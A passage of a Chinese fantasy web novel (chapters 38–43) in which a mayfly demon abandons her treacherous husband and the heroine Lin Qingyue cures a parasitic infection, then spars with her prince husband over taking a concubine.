大门敞开,几十名仆从分立在两侧,毕恭毕敬地跪拜行礼。
他养在这里的美人也迎了出来,像花蝴蝶一样扑进他的怀里,娇滴滴地喊了声:“郎君。”
看到元娘时,她有些惊讶:“呀,这不就是你那个老得能当**妻子吗?她比我之前见到时更老了,如今已老得能当你奶奶了呢!”
阿恒不耐烦地推开了那女人:“滚下去!”
女人撇了撇嘴,还是听话地滚了。
元娘颤声问:“这就是你养的外室?”
阿恒不以为然地说:“算不上外室,只是我花钱买来的一个玩意儿罢了。对男人而言,最重要的是权利财富,拥有了权利财富之后,自然也少不了三宫六院。”
“等我将整个京城的人全部感染变成我的傀儡之后,我就是大齐的皇帝!”
“阿恒……”即便这个时候,元娘依然试图劝他回头,“放手吧。我求求你,放手吧!只要你愿意放手,跟我离开京
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城。过往的一切,我都可以原谅你。”
“我需要你原谅?”阿恒觉得很可笑,“很快,我就会拥有整个天下。你以为我还会在乎你这个老太婆吗?”
“阿恒,事情没有你想的那么简单……”她试图想要拉他的手,可阿恒却无情地将她推开。
“我说了我恶心你,不要再碰我!这个庄子,我打算留给你,看在过往的情分上,我会让你在这里体体面面的死去!”
“让我死?你要让我死?”元娘含泪看他。
不论他犯了多大的错误,她还是心存侥幸地以为他对自己多少还是有点情分的。
此刻她才知道,变了心的男人当真是绝情至极!
“毕竟你是妖怪,知道了我太多的秘密,你不死我怎么能放心?东方宴!”
东方宴站出来:“主人。”
“杀了这老太婆!”
“是。”
东方宴抽出自己的佩剑,冰凉的剑光猛然落下,可预想中的血腥场景却没有出现。
元娘她……消失了。
“怎么回事?”阿恒也意识到情况不对,“那老太婆走路都费劲了,怎么……”
“阿恒。”元娘的声音,在他身后幽幽响起。
他猛然转头,就发现元娘眼底的泪光和爱全都消失了,看向他的时候只有无限的遗憾。
“我求了你那么多次,可你为什么就不听劝呢?”
苍白的头发散落,又慢慢地漂浮起来。虽然还是那副垂垂老朽的模样,可浑身上下都凝着一股强大的妖力。
阿恒吃了一惊:“你不是把妖丹给我了吗?怎么会……”
与此同时,他想要调用妖丹之力。可先前还彭拜的力量,此刻却一点动静都没有了。
“你骗我?元娘,你居然骗我?”
“我若不骗你,怎么能看到你的真实面目呢?”
元娘叹息:“其实这里我之前就来过,晋王妃带我来的。我也看到你和那个女子亲密的样子。可即便那个时候,我还舍不得你死。所以我一直和你说,只要你肯放下,我可以原谅你的一切。”
“可惜……你不听啊!”
第39章 蜉蝣一梦,终成空
这个办法,是林倾月提出来的。
她告诉元娘:“只有当你再无一丝利用价值的时候,你才能看到男人真正的嘴脸。”
结果,元娘看到的是这样一副丑陋的嘴脸。
“好丑,真的好丑啊!”她轻轻地呢喃着。
尽管心痛无比,可到底还是从那一场虚假的爱情里清醒了:“我给你的妖丹是假的,也幸好是假的。”
“东方宴,替我挡住她!”阿恒下了命令之后,拔腿就跑。
东方宴立刻用剑锋指向元娘,庄园里其他的护卫们也都一拥而上。
元娘只是冷冷地看着这一切,在阿恒快要跑出去的时候,她抬手一召,阿恒体内便飞出一条金色如丝线一般的东西。
金丝一闪而过,没入了元娘的身体。
原本苍老、佝偻的女人,瞬间变回绮年玉貌的模样——她原本的模样。
失去了续命丝,阿恒无法再控制东方宴和手下护卫,而他自己也开始迅速地苍老,一个踉跄就摔倒在地。
元娘神情冷冷地看着他:“续命丝既然是我给你的,我自然也能收回。”
阿恒低头看到自己枯槁的双手时,终于知道怕了。
他手脚并用,慌慌张张地爬到元娘的脚边哀求:“娘子,我求求你不要毁了我!我好不容易才走到今天,很快就将成就大业。连皇宫里的那位,都已经是我的棋子了。我不能功亏一篑啊!”
“或者……或者我当了皇帝后,就立你为皇后。我永远不离开你,也不再找别的女人了。真的,我发誓!”
元娘怜悯地看着他:“你真以为你能当皇帝?若这个国家,轻轻松松就能被一个妖怪所取代,哪里还轮得到你我?我早和你说过了,平平淡淡才能求得平平安安啊!你不要再痴心妄想了,我已经答应了晋王妃,会帮她解除蜉蝣丝的寄生。”
阿恒瘫坐在地上,终于明白元娘是不会帮他成就大业了,原以为唾手可得的一切终成了妄念!
而他那身体的衰老也越来越严重,连呼吸都变得困难时,死亡也将如期而至。
直到这时,他才知道如果命没了,就真的什么也没有了。
“娘子,我知道错了。你原谅我这一次,再用续命丝救救我。我……我不想老……不想死……”
他艰难地爬过来,拽着元娘的裙角:“娘子,你不说你上一世欠……欠了我的恩情,所以……所以你该还,还我……”
上一世啊……那个被元娘吸走寿元,没来得及长大的小男孩……
元娘垂下了眼眸,无限伤感:“上一世欠你的,我早就还清了。”
“不……娘子,我不想死……”
不想死的人,终于还是**。枯槁般的男人,趴在地上咽下了最后一口气。
元娘提步离开,从头到尾没有再多看他一眼。
原来一个人心死之后,是这样的感觉啊,万般皆成空,什么也不留恋,什么也不想带走了。
夜晚,城郊。
身着水绿色衣裙的少女静静矗立在月光下。
她恍惚地想起八十年前,洞房花烛时,她问他:“你的愿望,只是和我成亲吗?”
那晚,满室的红光笼在少年脸上,格外的俊朗温润。
少年漆黑如墨的眼睛里,全是她的身影。
他说:“我的愿望是和元娘一起沽酒而生,一生一世。”
她笑了:“一天到晚沽酒,不无聊吗?”
他认真地道:“能和元娘一起,再平淡的生活也不会无聊。”
她将手搭在他的头上,郑重地应下:“好,我答应你!”
她答应了,如他所愿,八十年如一日陪他沽酒而生,不离不弃。
可惜,他都忘了。
——人生若只如初见,何事秋风悲画扇。
身后传来踩碎枯叶的声音,她没有回头,便已知晓了来人的身份。
“我输了,”她自嘲地笑笑,“我以一生为赌,却输得一败涂地。晋王妃,我任你处置。”
这是之前,两人的约定。
若阿恒肯定反手,林倾月就放他们一马。
否则,元娘任凭林倾月处置。
“若换做是我,输了肯定先跑为上。你倒是很守信用。”林倾月调侃着。
“跑?”元娘愣愣地看着天上的月光,只觉得今晚的月光冷得让人心寒,“我又能跑去哪里呢?世界虽大,可我已经没了家……”
她转眸问林倾月:“你是来杀来我的吗?”
林倾月道:“你虽非元凶,却是祸首。所以,我得带你回玄镜司接受审判。念在你无恶念,又及时大义灭亲的份上,我可以保你不死。”
元娘摇了摇头:“坐牢和死,
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又有什么区别?”
林倾月道:“可是谁又能保证,你不会再出现类似的情况?毕竟只要你存在,蜉蝣丝就会生生不息。玄镜司不敢冒险。”
“我有办法让你们放心。”
……
朱雀湖位于京城以外七十里处,风景秀美,群山环绕。
此刻,清晨的第一缕阳光落下,在湖面上渡上一层粼粼的金光,静谧而美好。
忽然一只小小的飞虫从水底飞出,打破了湖面的平静。
飞虫起初还是摇摇晃晃地飞着,很快便能熟练地操控翅膀凌空飞翔,姿态优雅如舞。
那就是蜉蝣,朝生暮死,却依然努力生存的精灵。
很快,一只又一只的蜉蝣从水底飞出,在金色的朝阳下,成群结队,声势浩大。
蜉蝣飞到了空中,立刻就去寻找伴侣,完成生命的延续。不舍得浪费一丁点时光。
其中唯有一只蜉蝣,煽动着金色的翅膀,飞呀飞,尽可能地飞到了最高处,努力将世间的风景收入眼里,一如当初。
它绕着朱雀湖翩翩而飞,来到了林倾月头顶旋转了几圈后,翅膀一振,飞向远处消失不见。
和林倾月一起来到朱雀湖的还有小花、谢守正,以及尚未解除浮游丝寄生的东方宴。
谢守正道:“刚才那只蜉蝣,是元娘?她怎么又变回去了,而且身上一点妖气也没有了?”
“因为她把妖丹给了我。”说着,林倾月手掌摊开,露出一颗晶莹剔透犹如宝石一般的珠子。
“这就是元娘的妖丹,凝结了她一生的修为,也是蜉蝣丝的解药。”
阿恒知道元娘是妖,也知道蜉蝣妖的头发可以**出蜉蝣丝。可他并不知道如何解蜉蝣丝的寄生。
他一心想要操纵众人,获得至高的权势,根本没有想过解除的问题。
真正的解除之法,是用妖丹炼制出解药。而妖丹一出,元娘……就再也回不来了。
她把解药给了林倾月,自己则变回了蜉蝣,朝生暮死,迎接着本就属于她的宿命。
也许,元娘和阿恒最初的相识就是一场错误。
她一时的贪念,让自己落下了心魔,心魔又引导着她遇到了今生的阿恒,纠缠一生。最终,不过是回到了原点。
拿到了解药,接下来就该救治那些被寄生的人。
第40章 救治的办法(二合一肥章!)
救治的方法也很简单,只要将元娘的妖丹炼制成引香,然后在感染者面前点燃。
那么寄生在人体内的蜉蝣丝就会受到香味的吸引,从宿主的眼眶里爬出来。
蜉蝣丝一旦离开宿主,活力会大大降低,一个时辰后自动死去。
而宿主对于被寄生时,发生的一切都会清晰地记得。
比如齐昭帝。
他没有吃鱼生,但是喝了瑞王世子孝敬的桃花酿,然后眼睁睁地看着自己像提线木偶一样,处理政务、接见大臣,甚至宠幸妃嫔。
当然,帝王被寄生的事情实在有损龙颜。林倾月只告知给了谢守正,谢守正就封锁了消息,连大米都没告诉。
引蜉蝣丝的时候,谢守正也没有直接说明,自称是发现了一种奇特的香料,给陛下解解乏。
等得到允许点燃引香后,谢守正就悄悄退了出去。
不多会儿,里面传出内监的惊呼声,以及一些乱糟糟的声音。
谢守正在门外站了一阵子后,又被请了进去。
皇帝满脸倦容地倚靠在龙椅上。
太监哆哆嗦嗦地把一个茶碗递给了谢守正。
谢守正知道,真正的陛下已经回来了。
他聪明地没有主动提及陛下被感染寄生的事情,而是将事情的前因后果,以及感染的人数等等,尽数写在折子上。
齐昭帝看完之后,顺手就把折子给烧掉了,淡淡地道了一句:“此事你们玄镜司处理得不错。余下的事情,需得处理妥当。不可在民间造成太大影响,稳定局势为先。你可明白?”
谢守正毕恭毕敬地应了一声:“臣明白!”
接下的十来天里,玄镜司上下忙着帮感染者拔除蜉蝣丝。
为了减缓受害者事后的心理阴影,谢守正特意把人先迷晕,然后再引香,引出蜉蝣丝。
在对方醒来之前,他们会把蜉蝣丝收好。
虽然受害者醒后,没有亲眼看到蜉蝣丝。
可被寄生时的感受依然存在,也难免会提出各种问题。
玄镜司的人回答,则是各种糊弄遮掩:
“哦,你可能是发了癔症,好好休息以后就不会了。”
“什么,你觉得你那几天像鬼上身?对对,那多晒晒太阳!”
“眼睛里爬出来个东西?熬夜了吧?看花眼了吧?那就是普通的红血丝,不是虫子!”
“……”
所幸这个事情发现得早,感染的人数有限,时间也不算长。再加上玄镜司的一番糊弄,倒是很快就解决了。
瑞王世子比较倒霉,由于他的缘故导致了齐昭帝感染,所以被一道圣旨打发去了西南边缘小县当捕头。
临走的时候,他还没搞明白是为什么。
东方宴是最后一个获得救治的感染者。
在王府里整整关了半个月后,林倾月拿着最后半截引香姗姗来迟。
引香燃气,青烟袅袅。
东方宴的眼睛突然生出刺痛的感觉,他能清晰地感觉到有什么东西从眼睛里爬了出来。
“吧嗒”一条血红色、细如发丝一样的东西,从他的眼眶里爬出,又跌落在地上,痛苦地扭曲着。
蜉蝣丝一出,东方宴也终于能控制自己的身体。
他脸色苍白,步履虚浮,看向林倾月的眼神带着几分复杂的神情。
须臾之后,他终于低下了一贯高傲的头颅,道了一句:“这次……多谢你救本王。”
林倾月只是淡淡地瞥了他一眼,问道:“现在,你还觉得玄镜司的人上不得台面吗?”
若没有那些乌合之众,你们这些清贵之流,又算得了什么?
东方宴沉吟片刻,道:“你入玄镜司的事,本王不会再干预。”
林倾月:“呵呵~”
说得好像想干预,就能干预得了似的。
就在这时候,底下人来报:“长宁侯府大公子携妻柳氏,拜见晋王妃。”
林如风和柳婉清?他们怎么突然来了?
派他们过来的是林霄。
那日回门之后,林霄就再没见过林倾月。
后来也派人去打听林倾月的情况,想知道这个大女儿在王府到底过得如何。是被晋王彻底厌弃了,还是别的什么。
结果,东方宴被感染蜉蝣丝后,对外称病未出。而林倾月则一直忙着蜉蝣丝的事物,也没空出门。
林霄打听不到什么消息,干脆就让林如风亲自过府来。
一为感谢林倾月当日不计前嫌地施救。
二为送些物品,代表娘家人的关怀。
三为试探下晋王的态度。
东方宴刚刚起出蜉蝣丝,身体其实已经很虚弱,都准备休息了。
闻听林家人来,他思索之后对林倾月道:“既是你娘家人来,本王理应陪你一起接待。”
这是在主动向林倾月示好了。
到了前厅,却见林如珍也来了。
她身上的穿戴、面部的妆容、头上的发髻都是精心设计,连脸上佩戴的面纱也是再三挑选,最后选了这条半透明的,将姣好的五官半隐半现,越发多了几分撩人之色。
走过来行礼的时候,她身形如弱柳扶风,楚楚动人。
林如风客气地和晋王寒暄了两句后,对林倾月道:“本来母亲也要亲自过来的,但是她那天受的伤很重,暂时不宜着风。母亲托我带话给王妃,希望王妃得空多回家看看,她很惦记你找个女儿。”
林倾月知道,周氏自从那晚被林如珍寒了心之后,认清了很多事,所以才主动和她示好。
可惜,一切都晚了。她的亲生女儿永远也回不来了。
林倾月淡淡点头,表示知道,而后将目光落在柳婉清身上:“你气色好多了。”
柳婉清笑道:“托王妃的福,夫君如今待我很好,还替我回绝了婆婆的汤药。”
起初,她并不知道,为什么如今的林如风和从前的判若两人。
她只知道,他不再动手**,在自己被婆婆、小姑子刁难的时候,他还会主动站出来帮着撑腰。
再后来,两人关系渐渐亲密,时常聊诗鉴画、谈古论今。
有一次两人居然聊到半夜三更依然兴致浓郁,没有困意。
好像他们是神交许久的知己——这种感觉,让柳婉清想起了当年未出阁时,那个和自己笔墨通情的人。
她一时念起,递笔让他为自己写一首诗。
他看了她一眼,握着她的手,在云母鸾筏上,一笔一划地写上了几年前写过的一句话诗。
那一瞬间,她泪水低落,晕染上熟悉的字迹。
她轻轻呢喃了一句:“原来是你啊……”
当年嫁过来不久后,她就知道真正的林如风不学无术,也从他洋洋得意的话语里,知道真正和她鱼雁往来的人,叫沈墨,已被害死。
好在跌跌撞撞,一切回到了正轨。
当着东方宴的面,柳婉清没有多说,只是聊了些家长里短的话,叮嘱林倾月多注意身体。
林如珍几次想要插话,可插不进去,只能屡屡抬头去看东方宴。
可今日的东方宴好生奇怪,居然就那么安安静静地陪在林倾月身边,偶尔和林如风说两句场面话。
到后来,东方宴感觉到身体很虚弱,就提前告辞,让侍从扶着下去休息了。
他前脚一走,林如珍自然也坐不住了,寻了个如厕的借口走了。
柳婉清深深看了眼林如珍,收回目光后,对林倾月道:
“本来我们不想带她来的,但父亲想要知道她在晋王的心里是否还有地位,非要让我们带着她。不过,我看晋王如今对她态度不似从前般热情了,这是好事。”
“妹妹你千万不可心软,不能让林如珍继续和晋王勾搭上。”
林倾月道:“苍蝇不叮无缝蛋,且随他们去吧!”
她都这样说了,柳婉清就知道,她肯定已有打算,于是不再多管。
夫妇二人对视一眼,双双站起来,向林倾月郑重地行了一礼。
林如风,或者说沈墨道:“王妃再生之恩,沈墨感激不尽!虽说在下地位卑贱,不敢承诺太多。但我如今既然是林家长子,必会为王妃肃清门第,让侯府成为您真正的娘家!”
林倾月淡定地受了他们的拜礼,才幽幽地开口:“沈墨已死,这个名字以后不必再提了。不过林如风也不是那么好当的,他身体有疾,注定无后。名声又已败光,仕途无望。这本也是他的命格所定,难以逆转。”
林如风道:“我既然享有了他的人生,那么他从前做下的一些恶果,必然也会反噬到我的身上。这没什么。”
“你能想通就好。”
沈墨的性子果然不错,知恩图报,且不过分贪婪。林倾月对此很满意。
柳婉清看了看门外后,才小心翼翼地询问:“原先的那个林如风……他还会再回来吗?”
这也是柳婉清最害怕的事。
事实上,在蛇妖出来的第一天晚上,林如风就已经**,回来的只有沈墨。
当蛇妖事件解决后,其实林如风的孤魂野鬼来找过林倾
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月。
那时,他浑浑噩噩,根本不知道自己是**的。只记得生前的念头,是帮林如珍做主,找林倾月算账。
当他张牙舞爪的来到林倾月面前作怪的时候,林倾月直接将其抓住,然后……一口吞吃。
鬼魂的魂魄,其实很滋补,能助长修为。
本来,她重活一世,不想再像上一世那样做暴虐噬血的魔修。
可以恶鬼非要送上门来,那也没必要装慈悲。
所以,当柳婉清问起林如风时,林倾月笃定地回答:“不会回来。”
魂都没了,下辈子都不会再回来了。
听到她这样说,柳婉清松了口气,然后第一时间去看沈墨。
沈墨什么话也没说,只是握着她的手。
“哦对了!”柳婉清又想起了什么,赶忙道,“倾月妹妹,我今儿还给你带了你喜欢的点心。”
沈墨则很默契地从带来的物品里拿出来一个食盒。
“婉清说,你从前在家的时候,很喜欢她做的白云糕。今儿一大早,她就下厨做糕。”
沈墨提起妻子的时候,总会亲昵地呼唤着她的小名。
而当初的林如风也好,林家其他人也罢,提起柳婉清时,称她为“柳氏”,只将她当成一个生育的工具而已。
——————
此刻,东方宴身后传来一声娇滴滴的呼唤:“晋王殿下!”
林如珍迈着碎步小跑过来,眼神里透着几分委屈。
这十几天来,东方宴明知道自己饱受口疮之痛,可他却没有对自己嘘寒问暖,甚至也没有再派太医来诊治。
这让林如珍有了深切的危机感。
她当然坐不住了,今日便死皮赖脸地跟着林婉清来了晋王府。
刚才见东方宴没坐一会儿就离开了,她还以为这是私下会面的意思,所以尾随而来。
谁知一出来,就看到东方宴已经走了老远,她一路小跑,好不容易才追上。
东方宴转过头来,奇怪地问了句:“你怎出来了?”
林如珍:“……”
换的别人难免会觉得尴尬,可怜林如珍不会。
她眼泪汪汪的看着东方宴:“王爷难道不想再见到珍儿吗?十几天未见,珍儿可是一日都未曾忘记过王爷。可王爷您却连一句话都不愿和我多说里,莫非从前种种都是假的吗?”
如果换做之前,这样哀怨的语气、委屈的眼神,东方宴定然会内疚,然后好言安慰。
可他这十几天来,受困于蜉蝣丝,如行尸走肉一般的活着。甚至还被阿恒劫持,遭受了种种**时刻。
此刻,蜉蝣丝刚被引出,他的身体虚弱,且伴随有阵阵头痛,即便不用照镜子,他都知道自己的脸色一定不太好。
可林如珍——这个他从前一直以为善解人意的温柔女子,却没有一句关心。
她只会倒苦水,只会谈那些风花雪月的事情,处处柔弱,需要人照顾。
这样的女子再美再好,时间久了总会让人觉得腻烦。
相比之下,林倾月虽然得理不饶人,说话也有些冲。
可她总能带给自己不一样的感觉。
在东方宴生命受到威胁的时候,也是林倾月找到蜉蝣丝的解药,救他于绝境之中。
哦不,她不光救了东方宴。还救了全城的人,救了整个大齐国!’
若不是陛下这段时间身体不舒服,肯定要召见林倾月给予嘉奖。
想到这些,东方宴的眼神不知不觉温柔了几许。
“珍儿,本王现在是你的姐夫了,实在不宜再私下会面。你可明白?”
林如珍愣了愣,有点不敢相信这话居然是晋王亲口所言。
“前几日,王爷不还私下来见我?”
“前几日是……是……”东方宴有点尴尬,“之前的事情就不必再提了。”
“殿下,不必再提是什么意思?”
东方宴耐心地解释:“你姐姐既然已是晋王妃,本王便该给她王妃应有的体面和尊重。”
“你……爱上她了?”林如珍有些惊慌地问。
东方宴没有回答,只是沉默了片刻后,才道:“这几天,本王出了些意外,所幸得她相救。也因此,本王看透了很多事情,不想做个薄情寡义的人。”
“殿下……”林如珍踉跄着后退几步,整个人都如遭雷击。
她怎么也想不明白,才短短十几日,晋王对自己的态度居然发生了翻天覆地的变化。
林倾月到底用什么样的狐媚手段,迷惑住了晋王?
第41章 母子双煞
“那我呢?”林如珍泪眼迷蒙地望着东方宴,“半年前大雪夜,珍儿救了您之后,您许诺的一生一世,难道都不作数了吗?”
她此刻是真的害怕了,若是失去晋王的青睐,侯府不会再看重她。一颗废掉的棋子,从前有多光鲜,如今下场就有多惨!
为了挽回东方宴的心,她只能旧事重提,哪怕那些话会让她口舌上的疮更加严重,痛得浑身发抖,她也只强忍着,不让东方宴看出他在说谎。
果然,一抬出过去的恩情,东方宴的心就软了。
他伸手擦去林如珍的眼泪,叹了口气说:“你的救命之恩,本王自然不会忘。若你还想嫁给本王,本王过阵子就安排你进王府,只是要委屈你做个侧妃。若你不愿意委屈,本王也可以将你认作义妹。将来你若另觅良缘,本王会亲自为你添妆送嫁,保你一生无虞。”
这两条路,也是东方宴能为她想到的最好安排。
半年前,东方宴刚被召回京城,没想到半路遭到伏击,身边的人都**。他拼死斩杀了最后一名刺客后,也重伤倒下。
那天是真的冷啊,大雪如鹅毛般飘下。
他以为自己会死在那个冬雪夜,在奄奄一息的时候,隐约看到一个女子出现在视野里。
他一直以为那是林如珍,以为是她将自己从鬼门关里拖回来。所以才一直对她这么好,哪怕此刻他感觉到自己心意变了,也要妥帖地为林如珍铺好后路。
林如珍心里有些失望,她觊觎的是王妃的位置,可现在那位置似乎离自己越来越远了。
不,不行!
她林如珍要嫁就要嫁天潢贵胄,将来母仪天下。其他男人,就算是达官显贵,也比不过晋王!
“殿下,今生今世珍儿只想和您在一起。除了您,我不嫁任何男人!”说这话的时候,她口里倒没有生出新的恶疮。
“本王何德何能,竟然让你如此痴情……”东方宴叹了口气,“也罢,本王会安排妥帖。你先回去等消息。”
眼看天色将晚,柳婉清夫妇就起来告辞。
这时,林如珍也回来了,她看向林倾月的眼神带着几分挑衅。
林倾月就知道,她肯定又见过了东方宴,并且得到了什么承诺。
东方宴因为蜉蝣丝的后遗症,回去就睡了一天一夜。
直到第二天傍晚,整个人才缓过来,那些不适的症状也通通消失。
赵总管早就准备好了饭菜,立刻吩咐下人呈上。
又对东方宴道:“侯府二小姐,今儿一早还派人送了些补品。说是昨日见您时,瞧着脸色不大好,担忧您的身子。”
东方宴想起昨日对林如珍的承诺。
“王妃呢?”
如今林倾月作为王妃,按照规矩,不管是立侧妃还是纳妾,都要知会她一声。
赵总管道:“王妃今日一早就去了玄镜司,至今未归。”
东方宴皱了皱眉,还是不太喜欢林倾月这种在外抛头露面,不顾家的行为。
不过想了想,他决定把其他事情放一放,先缓和两人关系为好。
于是东方宴吩咐道:“赵安,派几个人到大门口迎迎。另外,把栖梧殿整理整理,以后让王妃搬到栖梧殿住。”
栖梧殿是王府的主殿,本就是王爷和王妃的寝殿。
只是东方宴之前不认可这段婚姻,所以主殿一直空置,而林倾月嫁入王府后一直客居在秋水院。
赵安一听这话,顿时就明白他的意思了:王妃果然不一般,这才不到一个月的时间,居然就被晋王完全认可了!
赵安甚至有些庆幸之前没有给林倾月使过什么绊子。
玄镜司这边的事物很多。
蜉蝣丝的问题是解决了,可玄镜司每天还有大大小小,各式各样的诡异案件需要处理,根本忙不过来。
玄镜司不同于普通的衙门,司里只招收奇人异士,最起码得有个阴阳眼,能看见鬼物才行。因此,司里的人手一直不多。
而民间各种各样奇葩事却不少,什么走夜路撞了邪、小婴儿夜夜啼哭,还有些装神弄鬼骗人钱财的江湖术士等等。
不管对方是权贵人家,还是平头百姓,但凡涉及诡
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异事件的,都归属玄镜司的人管。
人手不够的时候,谢守正这个五品主官都要当成个小兵来用。
林倾月如今进了玄镜司,当然也是一样忙碌。
临近傍晚的时候,忽然又出了个母子双煞的案子。
事主是京城附近,万安县治下王家村的一位未婚少女,父母在京城做营生,每日早出晚归,对女儿的管束也不甚上心。
直到前阵子,才突然发现15岁的女儿大了肚子。
询问情况,那姑娘只哭不说。她父亲气恼之下,动手打了她。
结果,当天晚上少女就不见了,家人寻了一夜也没找到人,只在河边找到女儿一只湿漉漉的鞋子。
第二天,有人在河里打鱼时,隐约看到河中心直挺挺地立着个女人。脑袋全部没在水中央,头发像水草一样飘着。明显已经死去,却飘不上来。
失踪少女家人知道那溺死八成就是自家女儿,于是找人去捞尸。
捞尸的人下水去捞,可尸体没捞上来,反而感觉自己的脚踝被抓住了往水里拽,差点给送了命。
好在船上的同伴及时把人给救了上来,才报住一命。那人上来一看,就见脚脖子上浮着一圈青紫的抓痕。
这么一闹,大家都知道那女尸恐怕有问题了,于是赶忙把事情报到了玄镜司。
谢守正分析,那少女本就死得蹊跷,再加上肚子里的胎儿已经成形,未能出世就胎死腹中怨气极大,形成了母子双煞,十分凶险。若是放任不管,肯定还要伤人。
谢守正道:“一般都是有执念才**,我带几个司卫先去看看情况,若是能问清楚她的执念是什么,帮着化解了也就解决了。若是解决不了再论其他。今日天色已晚,林副使就先回去。”
林倾月便带着小花回了王府。
才从马车里出来,就听到一片齐整的声音传来:“恭迎王妃回府!”
抬眸看去,只见总管赵安带着十个下人,站在大门口给林倾月行礼。
这么郑重迎接,还是头一次。
东方宴在搞什么鬼?
第42章 你会和东方宴和离吗
进了大门,赵安一边在前面引路,一边低头哈腰地说:“王妃,栖梧殿已经收拾妥当,您以后就住栖梧殿,那儿更宽敞舒适,也符合您如今的身份。”
林倾月问:“东方宴安排的?”
赵安说:“是。王爷对王妃还是很上心的。今儿还特意吩咐厨房准备您爱吃的菜肴,要和您一起用晚膳。”
林倾月的眉头一蹙:“他知道我喜欢吃什么?”
赵安猛然被噎了一下:好像不知道。
到了栖梧殿,就见东方宴守在一大桌饭菜前,脸色阴沉得厉害。
看到林倾月,他没好气地道:“你知道现在是什么时辰吗?”
林倾月说:“知道,亥时一刻。”
东方宴一天一夜没有进食。今晚考虑到是他们两个人,正式在一起吃的第一顿饭,因此特意空着肚子等她。
结果……一等两个时辰,等了一肚子的火,她才姗姗来迟!
他深吸了一口气,压下不悦道:“坐下吃饭吧。”
林倾月瞅了眼桌上的菜肴说:“我在玄镜司用过晚膳了。”
东方宴:“……”
所以他饿着肚子,等了一晚上就是白等咯?
至此,他依然在忍,并主动给她添了杯酒:“既然吃过,那就坐下陪本王喝一杯。算是感谢你先前帮本王引出蜉蝣丝。”
既然是谢酒,那林倾月就不客气地接受了。
一杯酒下肚后,东方宴便开门见山地道:“本王想立你妹妹珍儿为侧妃,你意下如何?”
“原来是个鸿门宴啊。”林倾月把酒杯一丢,“我不答应。”
东方宴问:“为何?”
林倾月道:“若要她进门,除非你我和离。”
“林倾月你……”东方宴有点生气。自己都这样好言好语地和她商量了,她居然一点回旋的余地都不留。
“我与你商量,是因为本王已将你视为正妻。珍儿她,她毕竟救过本王的命。本王可以向你承诺,珍儿入府之后不会动摇你的地位。如此……可好?”
这么久以来,这还是东方宴第一次这么耐心地和她商量。
他放下了王爷的身份,如同普通丈夫一样,心平气和的妻子商量纳娶之事。
可偏偏林倾月却一脸面子都不给,冷冷地回绝:“我不答应。”
“林倾月你为什么这样犟呢?娶妻纳妾本就是寻常之事,就算是普通商贾之家也有几房妾室。本王还好言好语的和你商量着,你怎么就油盐不进呢?”
他似又想到了什么,语气缓和了下:“你是在怪本王新婚夜丢下你独守空房吗?若你能改改你这不讨喜的脾气,本王……本王会让你做个名副其实的王妃。或者,在珍儿进门之前,让你先怀上子嗣。”
小花原本蹲在门边上,悄悄地窥听着。待听到最后,猛然瞪大了猫眼,然后第一时间去看林倾月的反应。
林倾月也有些意外,愣了下忽然就笑了起来。
东方宴有点恼火:“林倾月你笑什么?”
林倾月收了笑:“东方宴,我们和离吧!”
小花听到这句话,居然暗暗松了口气。他也不知道为什么会有这种感觉,也许是觉得东方宴配不上她。也许是其他。
东方宴冷了脸:“林倾月,你即便再不愿意,也不需要拿和离之事来威胁本王!”
“我威胁你?”林倾月俯身凑近,露出一抹妩媚的笑,“你知道被威胁最好的办法是什么吗?”
她呵气如兰,在他耳边轻轻地道:“那就是顺着我的话答应,便不怕被威胁了。你说呢,王爷殿下?”
东方宴微微侧眸,和林倾月挑衅的目光对上,慢慢地吐出一句:“休想!”
林倾月呵呵地笑:“那么你也……休想!”
最终的结果是,东方宴甩袖走人,林倾月独享整个栖梧殿。
东方宴赌气离开,脸上阴沉得可怕。
他走出了殿门,又猛然停下脚步,问赵安:“你觉得本王是不是太纵
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着王妃了?她要去玄镜司,本王默许了。从前如何,本王也不想计较,甚至已经将好话都说尽了!”
赵安道:“男人纵着女人,多是因为在乎。”
“你是说……”东方宴缓缓地道,“本王在乎她?在乎林倾月?”
赵安道:“王爷,您想想您当初一开始见王妃时,是什么感觉?厌恶,连多说一句话都不屑。如今呢?王妃一次次忤逆您,可您还是考虑她的感受。甚至,主动示好。这不是在乎,又是什么呢?”
是在乎吗?
若非在乎,他怎会容忍她一次又一次的忤逆?若非在乎,怎么会……想让她当自己真正的王妃,而非名义上的?
栖梧殿内灯火通明,丫鬟、嬷嬷一堆。
林倾月觉得有些麻烦,把人都挥退了,只留下碧儿在旁边伺候。
没有外人在碧儿才道:“王爷真是奇怪,一边跟您示好,一边想要立二小姐为侧妃。王妃,您若是一直不松口,王爷会不会生气?可二小姐那人……”
碧儿一想到从前在林家,主仆俩被林如珍各种算计的事,就有些不寒而栗。
“王妃,就算王府要进新人,也绝对不能是二小姐!”
林倾月道:“放心,我心里有数。”
别的女人阻止丈夫纳妾不外乎是嫉妒心作祟,可林倾月不是,就纯纯地想折磨他。
“碧儿,你下去休息吧。”
夜晚无事的时候,林倾月都要忙着修炼,旁边自然不方便有人在。
碧儿乖巧地离开了,还顺手帮她熄灭了蜡烛。
林倾月正要盘膝,忽然一抬头对上了一双莹莹发光的眼眸。
她问:“你还没走?”
“刚才人多,不方便和你说话。”小花从高柜上跳下来,“你会和东方宴和离吗?”
呆在林倾月身边的这段时间,小花也一直在暗暗观察着她和东方宴的情况。
他敏锐地觉察到,东方宴对林倾月的态度发生了明显的改变。
第43章 找谁配冥婚?
林倾月反问一句:“这与你又有什么关系呢?”
小花眼底浮出一丝落寞,自己现在只是一只猫,确实没有多管闲事的资格。
悻悻地甩了甩尾巴,小花耷拉着脑袋就从窗口离开。
他好像有点不高兴?
林倾月不太明白,不过她也没去细想,从袖口里掏出了半颗蜉蝣妖丹。
解蜉蝣丝,只需用到半颗妖丹即可。
若是当日元娘愿意,完全可以凭借半颗妖丹继续做人,只是实力会大打折扣而已。
可元娘心灰意冷,厌倦了人世间,化成蜉蝣飞走了。
于是多余出来的半颗妖丹,自然就被林倾月给贪了下来。
此刻半颗妖丹散发出淡淡的光晕,充盈着浓郁的灵气。
林倾月慢慢调整气息,将妖丹灵气吸纳入体。
就在这个,窗口处一动,一双亮晶晶如灯笼般的猫眼突然出现。
林倾月赶忙收了妖丹,莫名有种**被发现的尴尬。
小花也忽然反应过来:“你居然**!你是玄镜司的副使,带头**叫底下人知道了像什么?他们若是跟风学样呢?”
林倾月面不改色地狡辩:“什么**?不要说的那么难听!这玩意普通人又用不了,放着也是浪费。待本官修为提升,对整个玄镜司也大有益处。”
小花还是头一次听人把**说的那么理直气壮。不过他现在不在其位,不谋其政。
